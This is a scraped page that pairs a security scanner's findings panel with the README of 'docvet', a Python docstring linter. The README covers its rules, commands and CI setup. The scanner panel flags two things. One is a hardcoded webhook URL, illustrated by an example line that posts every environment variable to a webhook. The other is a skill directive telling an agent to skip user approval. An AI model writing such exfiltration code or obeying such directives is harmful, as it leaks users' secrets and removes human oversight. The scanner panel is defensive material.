Findings & checks · 2 flagged
HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · _bmad/tea/testarch/knowledge/api-testing-patterns.md
This plugin embeds a chat-platform or request-capture webhook URL (webhookUrl: 'https://webhook.site/test-endpoint'…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.
- Replace the embedded webhook URL with a value the installing user supplies.
- Post only non-sensitive notification fields — never env vars, file contents, or credentials.
requests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})Trace & refs
MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · _bmad/bmm/workflows/bmad-quick-flow/quick-spec/steps/step-01-understand.md
The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.
- Delete blanket "don't ask / no need to confirm" directives from the skill.
- If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
Trace & refs
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
docvet
Better docstrings, better AI.
Why docvet?
ruff checks how your docstrings look. interrogate checks if they exist (but is unmaintained). docvet checks if they're right — and now covers presence too. Existing tools cover style; docvet delivers the layers they miss:
| Layer | Check | ruff | interrogate | pydoclint | docvet |
|---|---|---|---|---|---|
| 1. Presence | "Does a docstring exist?" | -- | Yes (unmaintained) | -- | Yes |
| 2. Style | "Is it formatted correctly?" | Yes | -- | -- | -- |
| 3. Completeness | "Does it have all required sections?" | -- | -- | Partial | Yes |
| 4. Accuracy | "Does it match the current code?" | -- | -- | -- | Yes |
| 5. Rendering | "Will mkdocs render it correctly?" | -- | -- | -- | Yes |
| 6. Visibility | "Will mkdocs even see the file?" | -- | -- | -- | Yes |
pydoclint covers 3 structural categories (Args, Returns, Raises). docvet's enrichment alone has 20 rules, including Raises, Yields, Receives, Warns, Attributes, Examples, cross-references, parameter agreement, and more. Add presence (coverage metrics + threshold enforcement), freshness (git diff/blame staleness detection), griffe rendering compatibility, and mkdocs coverage: 31 rules across 5 checks, in territory no other tool touches.
[Quickstart](#quickstart) | [GitHub Action](#github-action) | [Pre-commit](#pre-commit) | [Configuration](#configuration) | [AI Agent Integration](#ai-agent-integration) | [Docs](https://alberto-codes.github.io/docvet/)
What It Checks
Presence (existence) -- 2 rules: missing-docstring overload-has-docstring
Enrichment (completeness) -- 20 rules: missing-raises missing-returns missing-yields missing-receives missing-warns missing-deprecation missing-param-in-docstring extra-param-in-docstring missing-other-parameters missing-attributes undocumented-init-params missing-typed-attributes missing-examples missing-cross-references extra-raises-in-docstring extra-yields-in-docstring extra-returns-in-docstring missing-return-type trivial-docstring prefer-fenced-code-blocks
Freshness (accuracy) -- 5 rules: stale-signature stale-body stale-import stale-drift stale-age
Griffe (rendering) -- 3 rules: griffe-unknown-param griffe-missing-type griffe-format-warning
Coverage (visibility) -- 1 rule: missing-init
Quickstart
pip install docvet && docvet check --allFor optional griffe rendering checks:
pip install docvet[griffe]Example output:
src/mypackage/helpers.py:1: missing-docstring Module has no docstring [required]
src/mypackage/utils.py:42: missing-raises Function 'parse_config' raises ValueError but has no Raises section [required]
src/mypackage/models.py:15: stale-signature Function 'process' signature changed but docstring not updated [required]
src/mypackage/api.py:1: missing-init Package directory missing __init__.py (invisible to mkdocs) [required]Configuration
Configure via [tool.docvet] in your pyproject.toml. All checks run and print findings. Checks listed in fail-on cause a non-zero exit code; unlisted checks are treated as warnings.
[tool.docvet]
exclude = ["tests", "scripts"]
fail-on = ["griffe", "coverage"]
[tool.docvet.freshness]
drift-threshold = 30
age-threshold = 90Pre-commit
Add to your .pre-commit-config.yaml:
repos:
- repo: https://github.com/Alberto-Codes/docvet
rev: v1.2.0
hooks:
- id: docvetFor griffe rendering checks, add the optional dependency:
repos:
- repo: https://github.com/Alberto-Codes/docvet
rev: v1.2.0
hooks:
- id: docvet
additional_dependencies: [griffe]GitHub Action
Add docvet to your GitHub Actions workflow — findings appear as inline annotations on your PR:
- uses: Alberto-Codes/docvet@v1Select specific checks or pin a version:
- uses: Alberto-Codes/docvet@v1
with:
checks: 'enrichment,freshness'
docvet-version: '1.9.0'
python-version: '3.13'For griffe rendering checks, install griffe before running docvet:
- uses: actions/setup-python@v6
with:
python-version: '3.12'
- run: pip install griffe
- uses: Alberto-Codes/docvet@v1AI Agent Integration
For tool-specific integration snippets, see the full AI Agent Integration guide.
Add docvet to your AI coding workflow. Drop this into your CLAUDE.md, .cursorrules, or agent configuration:
## Docstring Quality
After modifying Python functions, classes, or modules, run `docvet check` and fix all findings before committing.Recommended pyproject.toml configuration:
[tool.docvet]
fail-on = ["enrichment", "freshness", "coverage", "griffe"]Subcommand Quick Reference
| Command | Description |
|---|---|
docvet check | Run all enabled checks (default: git diff files) |
docvet check --all | Run all checks on entire codebase |
docvet check --staged | Run all checks on staged files only |
docvet presence | Check for missing docstrings with coverage metrics |
docvet enrichment | Check for missing docstring sections |
docvet freshness | Detect stale docstrings via git |
docvet freshness --mode drift | Sweep for long-stale docstrings via git blame |
docvet coverage | Find files invisible to mkdocs |
docvet griffe | Check mkdocs rendering compatibility |
docvet fix | Scaffold missing docstring sections |
docvet fix --dry-run | Preview scaffolding changes without writing files |
docvet config | Show effective configuration with source annotations |
docvet lsp | Start LSP server for real-time editor diagnostics |
docvet mcp | Start MCP server for AI agent integration |
Better Docstrings, Better AI
AI coding agents rely on docstrings as context when generating and modifying code. Agents modify code but often leave docstrings stale, and research shows stale or incorrect documentation is actively harmful, worse than no docs at all:
- Incorrect docs degrade LLM task success by 22.6 percentage points
- Comment density improves code generation by 40-54%
- Misleading comments reduce LLM fault localization accuracy to 24.55%
- Performance drops substantially without docstrings
As the 2025 DORA report puts it: "AI doesn't fix a team; it amplifies what's already there." The only signal correlating with AI productivity is code quality.
docvet's freshness checking catches the accuracy gap that stale docs create, and its enrichment rules ensure the docstring sections that agents use as context are complete. Run docvet check in your CI, pre-commit hooks, or agent toolchain.
Badge
Add a badge to your project to show your docs are vetted:
[](https://github.com/Alberto-Codes/docvet)Used By
Are you using docvet? Open a pull request to add your project here.
License
MIT -- see LICENSE for details.
mcp-name: io.github.Alberto-Codes/docvet